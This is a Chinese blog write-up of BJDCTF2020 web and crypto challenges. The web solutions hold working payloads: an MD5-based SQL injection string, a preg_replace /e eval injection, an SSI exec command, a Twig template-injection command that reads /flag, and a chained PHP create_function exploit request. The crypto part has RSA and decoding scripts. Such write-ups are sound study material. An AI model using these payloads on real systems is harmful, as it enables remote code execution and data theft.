BJDCTF2020部分wp


前言:最近真的太颓废了,天天啥也不想干,这个比赛之前有人问过我一些题目,挺简单的,这里简单记录一下。

web
1.Easy MD5
查看响应包,看到这条查询语句,可存在注入。输入ffifdyop即可登录,ffifdyop对应md5转字符串会有’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,然后有两个md5判断,数组绕过即可。

select * from 'admin' where password=md5($pass,true)

2.Mark loves cat
考git泄露,变量覆盖,用githack得到源码,按要求GET传参yds=flag即可,也有其他方法如flag=flag&is=flag

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

3.The mystery of ip
这是一个模板注入,ip那里可以通过xff头控制,直接命令执行得到flag
1581224754272

4.ZJCTF,不过如此
代码审计,读next源码,next源码如下,是preg_replace的/e命令执行问题,网上可以找到解析,这里记录一下payload

http://ebc8bd91-aa37-4862-af8e-328e56311980.node3.buuoj.cn/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
// POST传参I have a dream
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}
http://ebc8bd91-aa37-4862-af8e-328e56311980.node3.buuoj.cn/next.php?\S*=${eval($_POST[a])}    //POST传参a执行命令

5.EasySearch
打开页面,加.swp出现源码,POST输入username的值会写入一个shtml文件,这里可以shtml命令执行。写入的文件在响应头里有。

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";

    }else
    {
    ***
    }
    ***
?>
http://34be7d1f-9284-4210-950b-b6e9a48e8624.node3.buuoj.cn/index.php
//POST传参username=<!--#exec cmd="ls /var/www/html" -->&password=2020666    在网站根目录找到flag

6.Cookie is so stable
也是ssti,是Twig的模板,试一下2就会回显2。请求包文如下。

{{\_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}    //获取flag
GET /flag.php HTTP/1.1
Host: ffad6ae9-9113-4fba-b290-b48ed5a3bc34.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ffad6ae9-9113-4fba-b290-b48ed5a3bc34.node3.buuoj.cn/flag.php
Connection: close
Cookie: __cfduid=df52311039f2f717d63d154645ddf93431564799805; _ga=GA1.2.734922133.1576570185; PHPSESSID=62edce95a63b7e8a56e7dba66c50974d; user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
Upgrade-Insecure-Requests: 1

7.EzPHP
查看源码,有一段base32,解码后是真正题目地址,套娃题,一步一步绕过,代码如下。

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}    //这一段的意思是请求查询语句中不能含有正则中的字符,但是$_SERVER['QUERY_STRING']不会经过url编码,而GET请求会经过url编码,所以这段可以url编码绕过。
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');    //这一段的意思是GET参数debu行以aqua_is_cute开始结束,因为^$正则匹配的是行的开始和结束,所以这里可以%0a换行绕过,如debu=aqua_is_cute%0a
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}    //这一段是指请求的GET,POST和COOKIE输入不能为字母,但是默认优先级是ENV<GET<POST<COOKIE<SERVER,所以绕过这个只需要在GET输入所需字母的同时POST或COOKIE输入同名的字符,但值为数字即可
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");    //这一段要获得$file的内容为debu_debu_aqua,可以用伪协议file=data:text/plain,debu_debu_aqua,php://input也可以
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}    //sha()函数不能处理数组会返回false,所以用数组绕过就可以
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}    //这里原理和@phith0n在代码审计小密圈二周年的时候发起的Code-Breaking Puzzles挑战赛一题是一样的,不过加了些过滤,因为前面有extract($_GET["flag"]);这里可以控制flag的键名进行变量覆盖,payload为flag[code]=create_function&flag[arg]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%99%93%9E%98%D1%8F%97%8F);require里面内容为php://filter/read=convert.base64-encode/resource=flag.php取反,

所以最终获取flag的请求包文如下

POST /1nD3x.php?%73hana[]=1&p%61sswd[]=2&%64ebu=%61qua_is_%63ute%0a&file=data:text/plain,%64ebu_%64ebu_%61qua&fl%61g[%63ode]=create_function&fl%61g[%61rg]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);// HTTP/1.1
Host: 75b7cb56-8851-40d5-ac39-e2ec5886da7b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://75b7cb56-8851-40d5-ac39-e2ec5886da7b.node3.buuoj.cn
Connection: close
Upgrade-Insecure-Requests: 1

debu=1&file=1

crypto
1.这是base??
考察base编码的原理,根据原理写脚本解码即可。

a = 'FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw'
res = ''
res2 = ''
dic = {0: 'J', 1: 'K', 2: 'L', 3: 'M', 4: 'N', 5: 'O', 6: 'x', 7: 'y', 8: 'U', 9: 'V', 10: 'z', 11: 'A', 12: 'B', 13: 'C', 14: 'D', 15: 'E', 16: 'F', 17: 'G', 18: 'H', 19: '7', 20: '8', 21: '9', 22: 'P', 23: 'Q', 24: 'I', 25: 'a', 26: 'b', 27: 'c', 28: 'd', 29: 'e', 30: 'f', 31: 'g', 32: 'h', 33: 'i', 34: 'j', 35: 'k', 36: 'l', 37: 'm', 38: 'W', 39: 'X', 40: 'Y', 41: 'Z', 42: '0', 43: '1', 44: '2', 45: '3', 46: '4', 47: '5', 48: '6', 49: 'R', 50: 'S', 51: 'T', 52: 'n', 53: 'o', 54: 'p', 55: 'q', 56: 'r', 57: 's', 58: 't', 59: 'u', 60: 'v', 61: 'w', 62: '+', 63: '/', 64: '='}
for j in a:
    for i in range(65):
        if(j==dic[i]):
            res += bin(i)+' '
            break
res = res.split('0b')[1:]
for i in range(len(res)):
    res[i] = res[i].rjust(7,'0')
res = ''.join(res)
res = res.replace(' ','')
for i in range(len(res)):
    if (i%8==7):
        res2 += chr(int(res[i-7:i+1],2))
print(res2)

2.signin
十六进制转字符串即可

from Crypto.Util.number import *
a = '424a447b57653163306d655f74345f424a444354467d'
print(bytes.fromhex(a))

b = 0x424a447b57653163306d655f74345f424a444354467d
print(long_to_bytes(b))

3.Polybius
如题名是棋盘密码,是一张5*5的方表,以两个字符来代表一个字符,按要求写解密方式,下面是官方的payload。

import itertools

key = []
cipher = "ouauuuoooeeaaiaeauieuooeeiea"
for i in itertools.permutations('aeiou', 5):
    key.append(''.join(i))
for each in key:
    temp_cipher = ""
    result = ""
    for temp in cipher:
        temp_cipher += str(each.index(temp))
#这里其实是将字母的表换成数字的表以便后续计算
    for i in range(0,len(temp_cipher),2):
        current_ascii = int(temp_cipher[i])*5+int(temp_cipher[i+1])+97
#因为棋盘密码是采用两位一起表示一个字母
        if current_ascii>ord('i'):
            current_ascii+=1
        result += chr(current_ascii)
    if "flag" in result:
        print(each,result)

4.rsa_output
rsa共模攻击,这里给出脚本。

from Crypto.Util.number import *
import gmpy2
n = 21058339337354287847534107544613605305015441090508924094198816691219103399526800112802416383088995253908857460266726925615826895303377801614829364034624475195859997943146305588315939130777450485196290766249612340054354622516207681542973756257677388091926549655162490873849955783768663029138647079874278240867932127196686258800146911620730706734103611833179733264096475286491988063990431085380499075005629807702406676707841324660971173253100956362528346684752959937473852630145893796056675793646430793578265418255919376323796044588559726703858429311784705245069845938316802681575653653770883615525735690306674635167111
e1 = 2767
e2 = 3659
c1 = 20152490165522401747723193966902181151098731763998057421967155300933719378216342043730801302534978403741086887969040721959533190058342762057359432663717825826365444996915469039056428416166173920958243044831404924113442512617599426876141184212121677500371236937127571802891321706587610393639446868836987170301813018218408886968263882123084155607494076330256934285171370758586535415136162861138898728910585138378884530819857478609791126971308624318454905992919405355751492789110009313138417265126117273710813843923143381276204802515910527468883224274829962479636527422350190210717694762908096944600267033351813929448599
c2 = 11298697323140988812057735324285908480504721454145796535014418738959035245600679947297874517818928181509081545027056523790022598233918011261011973196386395689371526774785582326121959186195586069851592467637819366624044133661016373360885158956955263645614345881350494012328275215821306955212788282617812686548883151066866149060363482958708364726982908798340182288702101023393839781427386537230459436512613047311585875068008210818996941460156589314135010438362447522428206884944952639826677247819066812706835773107059567082822312300721049827013660418610265189288840247186598145741724084351633508492707755206886202876227
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
    s = -s
    c1 = gmpy2.invert(c1, n)
if t < 0:
    t = -t
    c2 = gmpy2.invert(c2, n)
m = gmpy2.powmod(c1, s, n) * gmpy2.powmod(c2, t, n) % n
print(long_to_bytes(m))

5.easyrsa
题目有一个p,q的关系式, p^2+q^2已知,n,e,c已知。

from Crypto.Util.number import *
import gmpy2
c = 7922547866857761459807491502654216283012776177789511549350672958101810281348402284098310147796549430689253803510994877420135537268549410652654479620858691324110367182025648788407041599943091386227543182157746202947099572389676084392706406084307657000104665696654409155006313203957292885743791715198781974205578654792123191584957665293208390453748369182333152809882312453359706147808198922916762773721726681588977103877454119043744889164529383188077499194932909643918696646876907327364751380953182517883134591810800848971719184808713694342985458103006676013451912221080252735948993692674899399826084848622145815461035
z = 32115748677623209667471622872185275070257924766015020072805267359839059393284316595882933372289732127274076434587519333300142473010344694803885168557548801202495933226215437763329280242113556524498457559562872900811602056944423967403777623306961880757613246328729616643032628964072931272085866928045973799374711846825157781056965164178505232524245809179235607571567174228822561697888645968559343608375331988097157145264357626738141646556353500994924115875748198318036296898604097000938272195903056733565880150540275369239637793975923329598716003350308259321436752579291000355560431542229699759955141152914708362494482
n = 15310745161336895413406690009324766200789179248896951942047235448901612351128459309145825547569298479821101249094161867207686537607047447968708758990950136380924747359052570549594098569970632854351825950729752563502284849263730127586382522703959893392329333760927637353052250274195821469023401443841395096410231843592101426591882573405934188675124326997277775238287928403743324297705151732524641213516306585297722190780088180705070359469719869343939106529204798285957516860774384001892777525916167743272419958572055332232056095979448155082465977781482598371994798871917514767508394730447974770329967681767625495394441
e = 65537
res1 = gmpy2.iroot(z+2*n,2)[0]
res2 = gmpy2.iroot(z-2*n,2)[0]
p = (res1+res2)//2
q = res1-p
d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))


#这道题意思就是知道n,e,c,p的平方加q的平方为z

6.RSA
q是两次的公约数,解一下即可

from Crypto.Util.number import *
import gmpy2
# m = bytes_to_long(b'BJD'*32)
# n = 12806210903061368369054309575159360374022344774547459345216907128193957592938071815865954073287532545947370671838372144806539753829484356064919357285623305209600680570975224639214396805124350862772159272362778768036844634760917612708721787320159318432456050806227784435091161119982613987303255995543165395426658059462110056431392517548717447898084915167661172362984251201688639469652283452307712821398857016487590794996544468826705600332208535201443322267298747117528882985955375246424812616478327182399461709978893464093245135530135430007842223389360212803439850867615121148050034887767584693608776323252233254261047
# res = 979153370552535153498477459720877329811204688208387543826122582132404214848454954722487086658061408795223805022202997613522014736983452121073860054851302343517756732701026667062765906277626879215457936330799698812755973057557620930172778859116538571207100424990838508255127616637334499680058645411786925302368790414768248611809358160197554369255458675450109457987698749584630551177577492043403656419968285163536823819817573531356497236154342689914525321673807925458651854768512396355389740863270148775362744448115581639629326362342160548500035000156097215446881251055505465713854173913142040976382500435185442521721
# for e in range(100000):
#     c = pow(m,e,n)
#     if(c==res):
#         print(e)
#         break     //求e
e = 52361
n1 = 13508774104460209743306714034546704137247627344981133461801953479736017021401725818808462898375994767375627749494839671944543822403059978073813122441407612530658168942987820256786583006947001711749230193542370570950705530167921702835627122401475251039000775017381633900222474727396823708695063136246115652622259769634591309421761269548260984426148824641285010730983215377509255011298737827621611158032976420011662547854515610597955628898073569684158225678333474543920326532893446849808112837476684390030976472053905069855522297850688026960701186543428139843783907624317274796926248829543413464754127208843070331063037
n2 = 12806210903061368369054309575159360374022344774547459345216907128193957592938071815865954073287532545947370671838372144806539753829484356064919357285623305209600680570975224639214396805124350862772159272362778768036844634760917612708721787320159318432456050806227784435091161119982613987303255995543165395426658059462110056431392517548717447898084915167661172362984251201688639469652283452307712821398857016487590794996544468826705600332208535201443322267298747117528882985955375246424812616478327182399461709978893464093245135530135430007842223389360212803439850867615121148050034887767584693608776323252233254261047
q = gmpy2.gcd(n1,n2)
p = n1//q
d = gmpy2.invert(e,(p-1)*(q-1))
c = 12641635617803746150332232646354596292707861480200207537199141183624438303757120570096741248020236666965755798009656547738616399025300123043766255518596149348930444599820675230046423373053051631932557230849083426859490183732303751744004874183062594856870318614289991675980063548316499486908923209627563871554875612702079100567018698992935818206109087568166097392314105717555482926141030505639571708876213167112187962584484065321545727594135175369233925922507794999607323536976824183162923385005669930403448853465141405846835919842908469787547341752365471892495204307644586161393228776042015534147913888338316244169120
m = pow(c,d,n1)
print(long_to_bytes(m))

Author: LiM
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source LiM !
 Previous
2020安恒二月抗疫练习赛web-crypto writeup 2020安恒二月抗疫练习赛web-crypto writeup
Web web1考flask,ssti,加/2后有会显2,测试过滤了下划线,点,当时没有做出来。这里给出网上收集的一些payload,记录一下。具体可以看这里 传送门 {{""["\x5f\x5fclass\x5f\x5f"]["\x5f\
2020-02-25 LiM
Next 
2019-GXYCTFweb部分题解 2019-GXYCTFweb部分题解
简单记录一下 1.web1首先是一个git泄露,当时看是403就没注意了,没想到就是这样做的,上工具下载源码是无参数rce,直接给payload exp=var_dump(readfile(next(array_reverse(scandi
2019-12-22 LiM
  TOC